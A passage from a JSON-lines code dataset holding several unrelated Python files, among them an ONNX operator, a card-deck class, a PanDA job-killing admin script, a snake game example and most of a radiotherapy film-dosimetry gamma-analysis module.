**options):\n OpRun.__init__(self, onnx_node, desc=desc,\n **options)\n\n def _find_custom_operator_schema(self, op_name):\n if op_name == \"BroadcastGradientArgs\":\n return BroadcastGradientArgsSchema()\n raise RuntimeError( # pragma: no cover\n f\"Unable to find a schema for operator '{op_name}'.\")\n\n def _run(self, a_shape, b_shape, attributes=None, verbose=0, fLOG=None): # pylint: disable=W0221\n\n A_dims = a_shape\n B_dims = b_shape\n a_size = len(a_shape)\n b_size = len(b_shape)\n\n ndim = max(a_size, b_size)\n\n i = a_size - 1\n j = b_size - 1\n k = ndim - 1\n\n a_axes = []\n b_axes = []\n\n while i >= 0 and j >= 0:\n A_dim = A_dims[i]\n B_dim = B_dims[j]\n\n if A_dim != B_dim:\n if A_dim == 1:\n a_axes.append(k)\n elif B_dim == 1:\n b_axes.append(k)\n else:\n a = A_dims[:a_size]\n b = B_dims[:b_size]\n raise RuntimeError(\n \"Broadcast is not possible between inputs of \"\n \"shapes: %r and %r.\" % (a, b))\n i -= 1\n j -= 1\n k -= 1\n\n if i < 0:\n while k >= 0:\n a_axes.append(k)\n k -= 1\n else:\n while k >= 0:\n b_axes.append(k)\n k -= 1\n\n return (numpy.array(a_axes, dtype=numpy.int64),\n numpy.array(b_axes, dtype=numpy.int64))\n\n\nclass BroadcastGradientArgsSchema(OperatorSchema):\n \"\"\"\n Defines a schema for operators added in this package\n such as @see cl BroadcastGradientArgs.\n \"\"\"\n\n def __init__(self):\n OperatorSchema.__init__(self, 'BroadcastGradientArgs')\n self.attributes = BroadcastGradientArgs.atts\n","repo_name":"sdpython/mlprodict","sub_path":"mlprodict/onnxrt/ops_cpu/op_broadcast_gradient_args.py","file_name":"op_broadcast_gradient_args.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"67"} +{"seq_id":"34137745353","text":"import random\r\nimport math\r\nfrom card import Card\r\n\r\n\r\nclass Deck:\r\n def __init__(self, value_start, value_end, number_of_suits):\r\n\r\n self.n_start = value_start\r\n self.n_end = value_end\r\n self.n_suit = number_of_suits\r\n # theDeck is a attribute indicate where we place the card\r\n self.theDeck = {}\r\n # theDeck[0] store the initial cards\r\n self.theDeck[0] = []\r\n\r\n # generate the initial cards and store in theDeck[0]\r\n # The first character of suit parameter indicate the colors of the card(B for Black; R for Red)\r\n # The remaining character of suit parameter are numbers representing different suits with the given color\r\n for j in range(1, self.n_suit + 1):\r\n k = math.ceil(j / 2)\r\n suit = \"\"\r\n if j % 2 == 1:\r\n suit = \"B\" + str(k)\r\n elif j % 2 == 0:\r\n suit = \"R\" + str(k)\r\n for i in range(self.n_start, self.n_end + 1):\r\n # the card face 11,12,13,1 use the character J,Q,K,A to present\r\n if i == 11:\r\n self.theDeck[0].append(Card(suit, i, the_face=\"J\"))\r\n elif i == 12:\r\n self.theDeck[0].append(Card(suit, i, the_face=\"Q\"))\r\n elif i == 13:\r\n self.theDeck[0].append(Card(suit, i, the_face=\"K\"))\r\n elif i == 1:\r\n self.theDeck[0].append(Card(suit, i, the_face=\"A\"))\r\n else:\r\n self.theDeck[0].append(Card(suit, i))\r\n # randomize the cards\r\n random.shuffle(self.theDeck[0])\r\n\r\n def __str__(self):\r\n\r\n newstring = \"\"\r\n\r\n for card in self.theDeck[0]:\r\n newstring += str(card) + \"\\n\"\r\n\r\n return newstring\r\n\r\n def is_empty(self, x):\r\n return len(self.theDeck[x]) == 0\r\n\r\n def get_card(self, x, y):\r\n\r\n return self.theDeck[x][y]\r\n\r\n def add_card(self, x, the_card):\r\n\r\n self.theDeck[x].append(the_card)\r\n\r\n def draw_card(self, x, y):\r\n\r\n del self.theDeck[x][y]\r\n\r\n def move_card(self, from_x, from_y, to_x):\r\n\r\n the_card = self.get_card(from_x, from_y)\r\n self.add_card(to_x, the_card)\r\n self.draw_card(from_x, from_y)\r\n\r\n\r\ndef main():\r\n test_deck = Deck(1, 13, 2)\r\n print(test_deck)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"yihsuan-chen/not-freecell-game","sub_path":"deck.py","file_name":"deck.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37896342468","text":"import optparse\nimport time\n\nimport pandaserver.userinterface.Client as Client\n\n# password\nfrom pandaserver.config import panda_config\nfrom pandaserver.taskbuffer.OraDBProxy import DBProxy\n\naSrvID = None\n\nusageStr = \"\"\"%prog [options] \n\nDescription: kill jobs with low priorities below a given value\"\"\"\noptP = optparse.OptionParser(conflict_handler=\"resolve\", usage=usageStr)\noptP.add_option(\n \"-9\",\n action=\"store_const\",\n const=True,\n dest=\"forceKill\",\n default=False,\n help=\"kill jobs before next heartbeat is coming\",\n)\noptP.add_option(\n \"--running\",\n action=\"store_const\",\n const=True,\n dest=\"killRunning\",\n default=False,\n help=\"kill running jobs to free up CPU slots. jobs will be killed regardless of job status if omitted\",\n)\noptP.add_option(\"--site\", action=\"store\", dest=\"site\", default=None, help=\"computingSite\")\noptP.add_option(\"--cloud\", action=\"store\", dest=\"cloud\", default=None, help=\"cloud\")\noptP.add_option(\n \"--maxJobs\",\n action=\"store\",\n dest=\"maxJobs\",\n default=None,\n help=\"max number of jobs to be killed\",\n)\noptions, args = optP.parse_args()\n\nif options.cloud is None and options.site is None:\n optP.error(\"--site= and/or --cloud= is required\")\n\nproxyS = DBProxy()\nproxyS.connect(panda_config.dbhost, panda_config.dbpasswd, panda_config.dbuser, panda_config.dbname)\n\njobsMap = {}\n\nif len(args) == 0:\n optP.error(\"priority is required\")\n\nvarMap = {}\nvarMap[\":prodSourceLabel\"] = \"managed\"\nvarMap[\":currentPriority\"] = args[0]\nsql = \"SELECT PandaID,currentPriority FROM %s WHERE prodSourceLabel=:prodSourceLabel AND currentPriority<:currentPriority \"\nif options.killRunning:\n sql += \"AND jobStatus=:jobStatus \"\n varMap[\":jobStatus\"] = \"running\"\nif options.cloud is not None:\n sql += \"AND cloud=:cloud \"\n varMap[\":cloud\"] = options.cloud\nif options.site is not None:\n sql += \"AND computingSite=:site \"\n varMap[\":site\"] = options.site\nfor table in [\n \"ATLAS_PANDA.jobsActive4\",\n \"ATLAS_PANDA.jobsWaiting4\",\n \"ATLAS_PANDA.jobsDefined4\",\n]:\n status, res = proxyS.querySQLS(sql % table, varMap)\n if res is not None:\n for id, prio in res:\n if prio not in jobsMap:\n jobsMap[prio] = []\n if id not in jobsMap[prio]:\n jobsMap[prio].append(id)\n\n# order by PandaID and currentPriority\njobs = []\nprioList = sorted(jobsMap)\nfor prio in prioList:\n # reverse order by PandaID to kill newer jobs\n ids = sorted(jobsMap[prio])\n ids.reverse()\n jobs += ids\n\nif options.maxJobs is not None:\n jobs = jobs[: int(options.maxJobs)]\n\nprint(f\"The number of jobs with priorities below {args[0]} : {len(jobs)}\")\nif len(jobs):\n nJob = 100\n iJob = 0\n while iJob < len(jobs):\n print(f\"kill {str(jobs[iJob:iJob + nJob])}\")\n if options.forceKill:\n Client.killJobs(jobs[iJob : iJob + nJob], 9)\n else:\n Client.killJobs(jobs[iJob : iJob + nJob])\n iJob += nJob\n time.sleep(1)\n","repo_name":"PanDAWMS/panda-server","sub_path":"pandaserver/test/killJobLowPrio.py","file_name":"killJobLowPrio.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"23232673505","text":"import sys\nimport time\nimport keyboard\nfrom snakeng.snake import SnakeGame, Direction\n\n# Maps key names from 'keyboard' lib to snakeng.Direction values\ndirmap = {'up': Direction.UP, 'down': Direction.DOWN, 'left': Direction.LEFT, 'right': Direction.RIGHT}\n\n# Create game instance\ngame = SnakeGame()\n\n# Callback function to save the last arrow keypress\ndef keypress_event(e):\n global last_direction\n new_direction = dirmap.get(e.name, None)\n if new_direction is not None:\n game.direction_input(new_direction)\n\n# Register callback function\nkeyboard.on_press(keypress_event)\n\nwhile True:\n new_state = game.process() # Produce new frame\n sys.stdout.write(\"\\033[2J\\n\" + new_state.to_string()) # Clear terminal screen and print new game state\n sys.stdout.flush() # Flush output\n time.sleep(0.05)\n","repo_name":"eriknyquist/snakeng","sub_path":"examples/readme_example.py","file_name":"readme_example.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"44560803950","text":"# -*- coding: utf-8 -*-\n\"\"\"\nOMG Dosimetry analysis module.\n\nThe dose analysis module performs in-depth comparison from film dose to reference dose image from treatment planning system.\n\nFeatures:\n - Perform registration by identifying fiducial markers on the film,\n - Interactive display of analysis results (gamma map, relative error, dose profiles)\n - Gamma analysis: display gamma map, pass rate, histogram, pass rate vs dose bar graph,\n pass rate vs distance to agreement (fixed dose to agreement),\n pass rate vs dose to agreement (fixed distance to agreement)\n - Publish PDF report\n \nWritten by Jean-Francois Cabana\nVersion 2023-07-27\n\"\"\"\n\nimport numpy as np\nimport scipy.ndimage.filters as spf\nimport copy\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport os\nfrom pylinac.core.utilities import is_close\nimport math\nfrom scipy.signal import medfilt\nimport pickle\nfrom pylinac.core import pdf\nimport io\nfrom pathlib import Path\nimport pymedphys\nfrom matplotlib.widgets import RectangleSelector, MultiCursor, Cursor\nimport webbrowser\nfrom .imageRGB import load, ArrayImage, equate_images\nimport bz2\nimport time\n\nclass DoseAnalysis(): \n \"\"\"Base class for analysis film dose vs reference dose.\n\n Usage : film = analysis.DoseAnalysis(film_dose=file_doseFilm, ref_dose=ref_dose)\n\n Attributes\n ----------\n path : str\n File path of scanned tif images of film to convert to dose.\n Multiple scans of the same films should be named (someName)_00x.tif\n These files will be averaged together to increase SNR.\n\n film_dose : str\n File path of planar dose image of the scanned film converted to dose (using tiff2dose module).\n\n ref_dose : str\n File path of the reference dose (from TPS).\n\n film_dose_factor : float, optional\n Scaling factor to apply to the film dose.\n Default is 1.\n\n ref_dose_factor : float, optional\n Scaling factor to apply to the reference dose.\n Default is 1.\n\n flipLR : bool, optional\n Whether or not to flip the film dose horizontally (to match reference dose orientation).\n Default is False.\n\n flipUD : bool, optional\n Whether or not to flip the film dose vertically (to match reference dose orientation).\n Default is False.\n\n rot90 : int, optional\n If not 0, number of 90 degrees rotation to apply to the film (to match reference dose orientation).\n\n ref_dose_sum : bool, optional\n If True, all all planar dose files found in the ref_dose folder will be summed together.\n \n \"\"\"\n\n def __init__(self, film_dose=None, ref_dose=None, film_dose_factor=1, ref_dose_factor=1, flipLR=False, flipUD=False, rot90=0, ref_dose_sum=False): \n if film_dose is not None: self.film_dose = load(film_dose)\n if rot90: self.film_dose.array = np.rot90(self.film_dose.array, k=rot90)\n if flipLR: self.film_dose.array = np.fliplr(self.film_dose.array)\n if flipUD: self.film_dose.array = np.flipud(self.film_dose.array)\n if ref_dose is None: self.ref_dose = None\n \n if ref_dose is not None:\n # If need to add multiple plane dose images, assume all images in folder given by ref_dose\n if ref_dose_sum:\n files = os.listdir(ref_dose)\n img_list = []\n for file in files: \n img_file = os.path.join(ref_dose, file)\n filebase, fileext = os.path.splitext(file) \n if file == 'Thumbs.db': continue\n if os.path.isdir(img_file): continue \n img_list.append(load(img_file)) \n self.ref_dose = img_list[0]\n new_array = np.stack(tuple(img.array for img in img_list), axis=-1)\n self.ref_dose.array = np.sum(new_array, axis=-1) \n else: self.ref_dose = load(ref_dose)\n \n self.apply_film_factor(film_dose_factor = film_dose_factor)\n self.apply_ref_factor(ref_dose_factor = ref_dose_factor)\n\n def apply_film_factor(self, film_dose_factor = None):\n \"\"\" Apply a normalisation factor to film dose. \"\"\"\n if film_dose_factor is not None:\n self.film_dose_factor = film_dose_factor\n self.film_dose.array = self.film_dose.array * self.film_dose_factor\n print(\"Applied film normalisation factor = {}\".format(self.film_dose_factor))\n\n def apply_ref_factor(self, ref_dose_factor = None):\n \"\"\" Apply a normalisation factor to reference dose. \"\"\"\n if ref_dose_factor is not None:\n self.ref_dose_factor = ref_dose_factor\n self.ref_dose.array = self.ref_dose.array * self.ref_dose_factor\n print(\"Applied ref dose normalisation factor = {}\".format(self.ref_dose_factor))\n\n def apply_factor_from_isodose(self, norm_isodose = 0):\n \"\"\" Apply film normalisation factor from a reference dose isodose [cGy].\n Mean dose inside regions where ref_dose > norm_isodose will be compared\n between film and ref_dose. A factor is computed and applied to film dose\n so that average dose in this region is the same for both.\n \"\"\"\n print(\"Computing normalisation factor from doses > {} cGy.\".format(norm_isodose))\n self.norm_dose = norm_isodose \n indices = np.where(self.ref_dose.array > self.norm_dose)\n mean_ref = np.mean(self.ref_dose.array[indices])\n mean_film = np.mean(self.film_dose.array[indices]) \n self.apply_film_factor(film_dose_factor = mean_ref / mean_film )\n \n def apply_factor_from_roi(self, norm_dose = None):\n \"\"\" Apply film normalisation factor from a rectangle ROI.\n Brings up an interactive plot, where the user must define a rectangle ROI\n that will be used to compute a film normalisation factor.\n Median dose inside this rectangle will be used to scale the film dose to match\n that of the reference.\n \"\"\"\n \n self.norm_dose = norm_dose \n msg = 'Factor from ROI: Click and drag to draw an ROI manually. Press ''enter'' when finished.'\n self.roi_xmin, self.roi_xmax = [], []\n self.roi_ymin, self.roi_ymax = [], []\n\n self.fig = plt.figure()\n ax = plt.gca() \n self.film_dose.plot(ax=ax) \n ax.plot((0,self.film_dose.shape[1]),(self.film_dose.center.y,self.film_dose.center.y),'k--')\n ax.set_xlim(0, self.film_dose.shape[1])\n ax.set_ylim(self.film_dose.shape[0],0)\n ax.set_title(msg)\n print(msg)\n \n def select_box(eclick, erelease):\n x1, y1 = int(eclick.xdata), int(eclick.ydata)\n x2, y2 = int(erelease.xdata), int(erelease.ydata)\n self.roi_xmin, self.roi_xmax = min(x1,x2), max(x1,x2)\n self.roi_ymin, self.roi_ymax = min(y1,y2), max(y1,y2)\n \n self.rs = RectangleSelector(ax, select_box, useblit=True, button=[1], minspanx=5, minspany=5, spancoords='pixels', interactive=True) \n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.apply_factor_from_roi_press_enter)\n self.wait = True\n while self.wait: plt.pause(5)\n return\n \n def apply_factor_from_roi_press_enter(self, event):\n \"\"\" Function called from apply_factor_from_roi() when ''enter'' is pressed. \"\"\" \n if event.key == 'enter':\n roi_film = np.median(self.film_dose.array[self.roi_ymin:self.roi_ymax, self.roi_xmin:self.roi_xmax])\n \n if self.norm_dose is None: # If no normalisation dose is given, assume we normalisation on ref_dose\n roi_ref = np.median(self.ref_dose.array[self.roi_ymin:self.roi_ymax, self.roi_xmin:self.roi_xmax])\n factor = roi_ref/roi_film\n print(\"Median film dose = {} cGy; median ref dose = {} cGy\".format(roi_film, roi_ref))\n \n else: factor = self.norm_dose / roi_film \n self.apply_film_factor(film_dose_factor = factor)\n \n if hasattr(self, \"rs\"): del self.rs \n self.fig.canvas.mpl_disconnect(self.cid)\n plt.close(self.fig) \n self.wait = False\n return\n\n def apply_factor_from_norm_film(self, norm_dose = None, norm_roi_size = 10):\n \"\"\" Define an ROI of norm_roi_size mm x norm_roi_size mm to compute dose factor from a normalisation film. \"\"\"\n \n self.norm_dose = norm_dose\n self.norm_roi_size = norm_roi_size\n msg = 'Factor from normalisation film: Double-click at the center of the film markers. Press enter when done'\n self.roi_center = []\n self.roi_xmin, self.roi_xmax = [], []\n self.roi_ymin, self.roi_ymax = [], []\n \n self.fig = plt.figure()\n ax = plt.gca() \n self.film_dose.plot(ax=ax) \n ax.plot((0,self.film_dose.shape[1]),(self.film_dose.center.y,self.film_dose.center.y),'k--')\n ax.set_xlim(0, self.film_dose.shape[1])\n ax.set_ylim(self.film_dose.shape[0],0)\n ax.set_title(msg)\n print(msg)\n \n self.fig.canvas.mpl_connect('button_press_event', self.onclick_norm)\n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.apply_factor_from_roi_press_enter) \n self.wait = True\n while self.wait: plt.pause(5)\n \n def onclick_norm(self, event):\n ax = plt.gca()\n if event.dblclick:\n size_px = self.norm_roi_size * self.film_dose.dpmm / 2\n self.roi_center = ([int(event.xdata), int(event.ydata)])\n self.roi_xmin, self.roi_xmax = int(event.xdata) - size_px, int(event.xdata) + size_px\n self.roi_ymin, self.roi_ymax = int(event.ydata) - size_px, int(event.ydata) + size_px\n \n rect = plt.Rectangle( (min(self.roi_xmin,self.roi_xmax),min(self.roi_ymin,self.roi_ymax)), np.abs(self.roi_xmin-self.roi_xmax), np.abs(self.roi_ymin-self.roi_ymax), fill=False )\n ax.add_patch(rect) \n ax.plot((self.roi_center[0]-size_px,self.roi_center[0]+size_px),(self.roi_center[1],self.roi_center[1]),'w', linewidth=2)\n ax.plot((self.roi_center[0],self.roi_center[0]),(self.roi_center[1]-size_px,self.roi_center[1]+size_px),'w', linewidth=2)\n plt.gcf().canvas.draw_idle()\n\n def crop_film(self):\n \"\"\" Brings up an interactive plot, where the user must define \n a rectangle ROI that will be used to crop the film.\n \"\"\" \n msg = 'Crop film: Click and drag to draw an ROI. Press ''enter'' when finished.'\n \n self.fig = plt.figure()\n ax = plt.gca() \n self.film_dose.plot(ax=ax) \n ax.plot((0,self.film_dose.shape[1]),(self.film_dose.center.y,self.film_dose.center.y),'k--')\n ax.set_xlim(0, self.film_dose.shape[1])\n ax.set_ylim(self.film_dose.shape[0],0)\n ax.set_title(msg)\n print(msg)\n \n def select_box(eclick, erelease):\n x1, y1 = int(eclick.xdata), int(eclick.ydata)\n x2, y2 = int(erelease.xdata), int(erelease.ydata) \n self.roi_xmin, self.roi_xmax = min(x1,x2), max(x1,x2)\n self.roi_ymin, self.roi_ymax = min(y1,y2), max(y1,y2)\n\n self.rs = RectangleSelector(ax, select_box, useblit=True, button=[1], minspanx=5, minspany=5, spancoords='pixels', interactive=True) \n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.crop_film_press_enter)\n self.wait = True\n while self.wait: plt.pause(5)\n return\n \n def crop_film_press_enter(self, event):\n \"\"\" Function called from crop_film() when ''enter'' is pressed. \"\"\" \n if event.key == 'enter':\n del self.rs \n left = self.roi_xmin\n right = self.film_dose.shape[1] - self.roi_xmax\n top = self.roi_ymin\n bottom = self.film_dose.shape[0] - self.roi_ymax \n self.film_dose.crop(left,'left')\n self.film_dose.crop(right,'right')\n self.film_dose.crop(top,'top')\n self.film_dose.crop(bottom,'bottom') \n \n self.fig.canvas.mpl_disconnect(self.cid)\n plt.close(self.fig) \n self.wait = False\n return\n \n def gamma_analysis(self, film_filt=0, doseTA=3.0, distTA=3.0, threshold=0.1, norm_val='max', local_gamma=False, max_gamma=None, random_subset=None):\n \"\"\" Perform Gamma analysis between registered film_dose and ref_dose.\n Gamma computation is performed using pymedphys.gamma.\n \n Parameters\n ----------\n film_filt : int, optional\n Kernel size of median filter to apply to film dose before performing gamma analysis (for noise reduction).\n Default is 0.\n\n doseTA : float, optional\n Dose to agreement threshold [%].\n Default is 3.0.\n\n distTA : float, optional\n Distance to agreement threshold [mm]¸.\n Default is 3.0.\n\n threshold : float, optional (>=0, <=1.0)\n The percent lower dose cutoff below which gamma will not be calculated.\n Default is 0.1.\n\n norm_val : float or 'max', optional\n Normalisation value [cGy] of reference dose, used to calculate the\n dose to agreement threshold and lower dose threshold.\n If 'max', the maximum dose from the reference distribution will be used.\n Default is 'max'.\n\n local_gamma : bool, optional\n Whether or not local gamma should be used instead of global.\n Default is False.\n\n max_gamma : float, optional\n The maximum gamma searched for. This can be used to speed up\n calculation, once a search distance is reached that would give gamma\n values larger than this parameter, the search stops.\n Default is None.\n\n random_subset : float (>=0, <=1), optional\n Used to only calculate a random subset fraction of the reference grid, to speed up calculation.\n Default is None\n\n \"\"\"\n self.doseTA, self.distTA = doseTA, distTA\n self.film_filt, self.threshold, self.norm_val = film_filt, threshold, norm_val \n start_time = time.time()\n self.GammaMap = self.computeGamma(doseTA=doseTA, distTA=distTA, threshold=threshold, norm_val=norm_val, local_gamma=local_gamma, max_gamma=max_gamma, random_subset=random_subset) \n print(\"--- Done! ({:.1f} seconds) ---\".format((time.time() - start_time)))\n self.computeDiff()\n \n def computeHDmedianDiff(self, threshold=0.8, ref = 'max'):\n \"\"\" Compute median difference between film and reference doses in high dose region.\n \n Parameters\n ----------\n threshold : float, optional (>=0, <=1.0)\n The relative threshold (with respect to 'ref') used\n to determine the high dose region.\n\n ref : 'max' or float\n If given a number, the dose [cGy] used as a reference for threshold.\n If 'max', the maximum dose in ref_dose will be used.\n \"\"\"\n if ref == 'max': HDthreshold = threshold * self.ref_dose.array.max()\n else: HDthreshold = threshold * ref\n film_HD = self.film_dose.array[self.ref_dose.array > HDthreshold]\n ref_HD = self.ref_dose.array[self.ref_dose.array > HDthreshold]\n self.HD_median_diff = np.median((film_HD-ref_HD)/ref_HD) * 100\n return self.HD_median_diff\n \n def computeDiff(self):\n \"\"\" Compute the difference map with the reference image.\n Returns self.DiffMap = film_dose - ref_dose \"\"\"\n self.DiffMap = ArrayImage(self.film_dose.array - self.ref_dose.array, dpi=self.film_dose.dpi)\n self.RelError = ArrayImage(100*(self.film_dose.array - self.ref_dose.array)/self.ref_dose.array, dpi=self.film_dose.dpi)\n self.DiffMap.MSE = sum(sum(self.DiffMap.array**2)) / len(self.film_dose.array[(self.film_dose.array > 0)]) \n self.DiffMap.RMSE = self.DiffMap.MSE**0.5 \n \n def computeGamma(self, doseTA=2, distTA=2, threshold=0.1, norm_val=None, local_gamma=False, max_gamma=None, random_subset=None):\n \"\"\"Compute Gamma (using pymedphys.gamma) \"\"\"\n print(\"Computing {}% {} mm Gamma...\".format(doseTA, distTA))\n# # error checking\n if not is_close(self.film_dose.dpi, self.ref_dose.dpi, delta=3):\n raise AttributeError(\"The image DPIs to not match: {:.2f} vs. {:.2f}\".format(self.film_dose.dpi, self.ref_dose.dpi))\n same_x = is_close(self.film_dose.shape[1], self.ref_dose.shape[1], delta=1.1)\n same_y = is_close(self.film_dose.shape[0], self.ref_dose.shape[0], delta=1.1)\n if not (same_x and same_y):\n raise AttributeError(\"The images are not the same size: {} vs. {}\".format(self.film_dose.shape, self.ref_dose.shape))\n\n # set up reference and comparison images\n film_dose, ref_dose = ArrayImage(copy.copy(self.film_dose.array)), ArrayImage(copy.copy(self.ref_dose.array))\n \n if self.film_filt:\n film_dose.array = medfilt(film_dose.array, kernel_size=(self.film_filt, self.film_filt))\n\n if norm_val is not None:\n if norm_val == 'max': norm_val = ref_dose.array.max()\n film_dose.normalize(norm_val)\n ref_dose.normalize(norm_val)\n\n # set coordinates [mm]\n x_coord = (np.array(range(0, self.ref_dose.shape[0])) / self.ref_dose.dpmm - self.ref_dose.physical_shape[0]/2).tolist()\n y_coord = (np.array(range(0, self.ref_dose.shape[1])) / self.ref_dose.dpmm - self.ref_dose.physical_shape[1]/2).tolist()\n axes_reference, axes_evaluation = (x_coord, y_coord), (x_coord, y_coord)\n dose_reference, dose_evaluation = ref_dose.array, film_dose.array\n\n # set film_dose = 0 to Nan to avoid computing on padded pixels\n dose_evaluation[dose_evaluation == 0] = 'nan'\n \n # Compute the number of pixels to analyze\n if random_subset:\n random_subset = int(len(dose_reference[dose_reference >= threshold].flat) * random_subset)\n \n # Gamma computation and set maps\n gamma = pymedphys.gamma(axes_reference, dose_reference, axes_evaluation, dose_evaluation, doseTA, distTA, threshold*100,\n local_gamma=local_gamma, interp_fraction=10, max_gamma=max_gamma, random_subset=random_subset)\n GammaMap = ArrayImage(gamma, dpi=film_dose.dpi)\n \n fail = np.zeros(GammaMap.shape)\n fail[(GammaMap.array > 1.0)] = 1\n GammaMap.fail = ArrayImage(fail, dpi=film_dose.dpi)\n \n passed = np.zeros(GammaMap.shape)\n passed[(GammaMap.array <= 1.0)] = 1\n GammaMap.passed = ArrayImage(passed, dpi=film_dose.dpi)\n \n GammaMap.npassed = sum(sum(passed == 1))\n GammaMap.nfail = sum(sum(fail == 1))\n GammaMap.npixel = GammaMap.npassed + GammaMap.nfail\n GammaMap.passRate = GammaMap.npassed / GammaMap.npixel * 100\n GammaMap.mean = np.nanmean(GammaMap.array)\n \n return GammaMap\n \n def plot_gamma_varDoseTA(self, ax=None, start=0.5, stop=4, step=0.5): \n \"\"\" Plot graph of Gamma pass rate vs variable doseTA.\n Note: values of distTA, threshold and norm_val will be taken as those \n from the previous \"standard\" gamma analysis.\n \n Parameters\n ----------\n start : float, optional\n Minimum value of dose to agreement threshold [%]\n Default is 0.5 %\n\n stop : float, optional\n Maximum value of dose to agreement threshold [%]\n Default is 4.0 %\n\n step : float, optional\n Increment of dose to agreement value between start and stop values [%]\n Default is 0.5 %\n \"\"\"\n distTA, threshold, norm_val = self.distTA, self.threshold, self.norm_val\n values = np.arange(start,stop,step)\n GammaVarDoseTA = np.zeros((len(values),2))\n\n i=0\n for value in values:\n gamma = self.computeGamma(doseTA=value, distTA=distTA, threshold=threshold, norm_val=norm_val)\n GammaVarDoseTA[i,0] = value\n GammaVarDoseTA[i,1] = gamma.passRate\n i=i+1\n \n if ax is None: fig, ax = plt.subplots()\n x, y = GammaVarDoseTA[:,0], GammaVarDoseTA[:,1]\n ax.plot(x,y,'o-')\n ax.set_title('Variable Dose TA, Dist TA = {} mm'.format(distTA))\n ax.set_xlabel('Dose TA (%)')\n ax.set_ylabel('Gamma pass rate (%)')\n \n def plot_gamma_varDistTA(self, ax=None, start=0.5, stop=4, step=0.5): \n \"\"\" Plot graph of Gamma pass rate vs variable distTA\n Note: values of doseTA, threshold and norm_val will be taken as those \n from the previous \"standard\" gamma analysis.\n \n Parameters\n ----------\n start : float, optional\n Minimum value of dist to agreement threshold [mm]\n Default is 0.5 mm\n\n stop : float, optional\n Maximum value of dist to agreement threshold [mm]\n Default is 4.0 mm\n\n step : float, optional\n Increment of dist to agreement value between start and stop values [mm]\n Default is 0.5 mm\n \"\"\"\n\n doseTA = self.doseTA\n threshold = self.threshold\n norm_val = self.norm_val\n \n values = np.arange(start,stop,step)\n GammaVarDistTA = np.zeros((len(values),2))\n \n i=0\n for value in values:\n gamma = self.computeGamma(doseTA=doseTA, distTA=value, threshold=threshold, norm_val=norm_val)\n GammaVarDistTA[i,0] = value\n GammaVarDistTA[i,1] = gamma.passRate\n i=i+1\n \n x = GammaVarDistTA[:,0]\n y = GammaVarDistTA[:,1]\n if ax is None:\n fig, ax = plt.subplots()\n ax.plot(x,y,'o-')\n ax.set_title('Variable Dist TA, Dose TA = {} %'.format(doseTA))\n ax.set_xlabel('Dist TA (mm)')\n ax.set_ylabel('Gamma pass rate (%)') \n \n def plot_gamma_hist(self, ax=None, bins='auto', range=[0,3]):\n \"\"\" Plot a histogram of gamma map values.\n\n Parameters\n ----------\n ax : matplotlib.pyplot axe object, optional\n Axis in which to plot the graph.\n If None, a new plot is made.\n Default is None \n\n bins : Determines the number of bins in the histogram.\n The argument passed to matplotlib.pyplot.hist.\n Default is 'auto'\n\n range : Determines the range of values showed in the histogram.\n The argument passed to matplotlib.pyplot.hist.\n Default is [0,3]\n \"\"\"\n\n if ax is None:\n fig, ax = plt.subplots()\n ax.hist(self.GammaMap.array[np.isfinite(self.GammaMap.array)], bins=bins, range=range)\n ax.set_xlabel('Gamma value')\n ax.set_ylabel('Pixels count')\n ax.set_title(\"Gamma map histogram\")\n \n def plot_gamma_pass_hist(self, ax=None, bin_size = 50):\n \"\"\" Plot a histogram of gamma map pass rate vs dose.\n\n Parameters\n ----------\n ax : matplotlib.pyplot axe object, optional\n Axis in which to plot the graph.\n If None, a new plot is made.\n Default is None \n\n bin_size : float, optional\n Determines the size of bins in the histogram [cGy].\n The number of bins is determined from the maximum dose in reference dose, and the bin_size.\n Default is 50 cGy\n \"\"\"\n\n if ax is None:\n fig, ax = plt.subplots()\n analyzed = np.isfinite(self.GammaMap.array)\n bins = np.arange(0, self.ref_dose.array.max()+bin_size, bin_size)\n dose = self.ref_dose.array[analyzed]\n gamma_pass = self.GammaMap.passed.array[analyzed] # analyzed array includes failing gamma points\n dose_pass = (gamma_pass * dose)\n dose_pass = dose_pass[dose_pass > 0] # Remove failing gamma points (value 0 from self.GammaMap.passed.array)\n dose_hist = np.histogram(dose, bins=bins)\n dose_pass_hist = np.histogram(dose_pass, bins=bins)\n dose_pass_rel = np.zeros(len(dose_pass_hist[0]))\n \n for i in range(0,len(dose_pass_hist[0])):\n if dose_hist[0][i] > 0:\n dose_pass_rel[i] = float(dose_pass_hist[0][i]) / float(dose_hist[0][i]) * 100\n \n ax.bar(bins[:-1], dose_pass_rel, width=bin_size, align='edge', linewidth=1, edgecolor='k')\n ax.set_xlabel('Doses (cGy)')\n ax.set_ylabel('Pass rate (%)')\n ax.set_title(\"Gamma pass rate vs dose\")\n ax.set_xticks(bins)\n \n def plot_gamma_stats(self, figsize=(10, 10), show_hist=True, show_pass_hist=True, show_varDistTA=True, show_var_DoseTA=True):\n \"\"\" Displays a figure with 4 subplots showing gamma analysis statistics:\n 1- Gamma map histogram, \n 2- Gamma pass rate vs dose histogram\n 3- Gamma pass rate vs variable distance to agreement threshold\n 4- Gamma pass rate vs variable dose to agreement threshold\n \"\"\"\n\n fig, ((ax1,ax2),(ax3,ax4)) = plt.subplots(2,2, figsize=figsize)\n \n axes = (ax1,ax2,ax3,ax4)\n i = 0\n \n if show_hist:\n self.plot_gamma_hist(ax=axes[i])\n i=i+1\n if show_pass_hist:\n self.plot_gamma_pass_hist(ax=axes[i])\n i=i+1\n if show_varDistTA:\n self.plot_gamma_varDistTA(ax=axes[i])\n i=i+1\n if show_var_DoseTA:\n self.plot_gamma_varDoseTA(ax=axes[i])\n \n def plot_profile(self, ax=None, profile='x', position=None, title=None, diff=False, offset=0):\n \"\"\" Plot a line profile of reference dose and film dose at a given 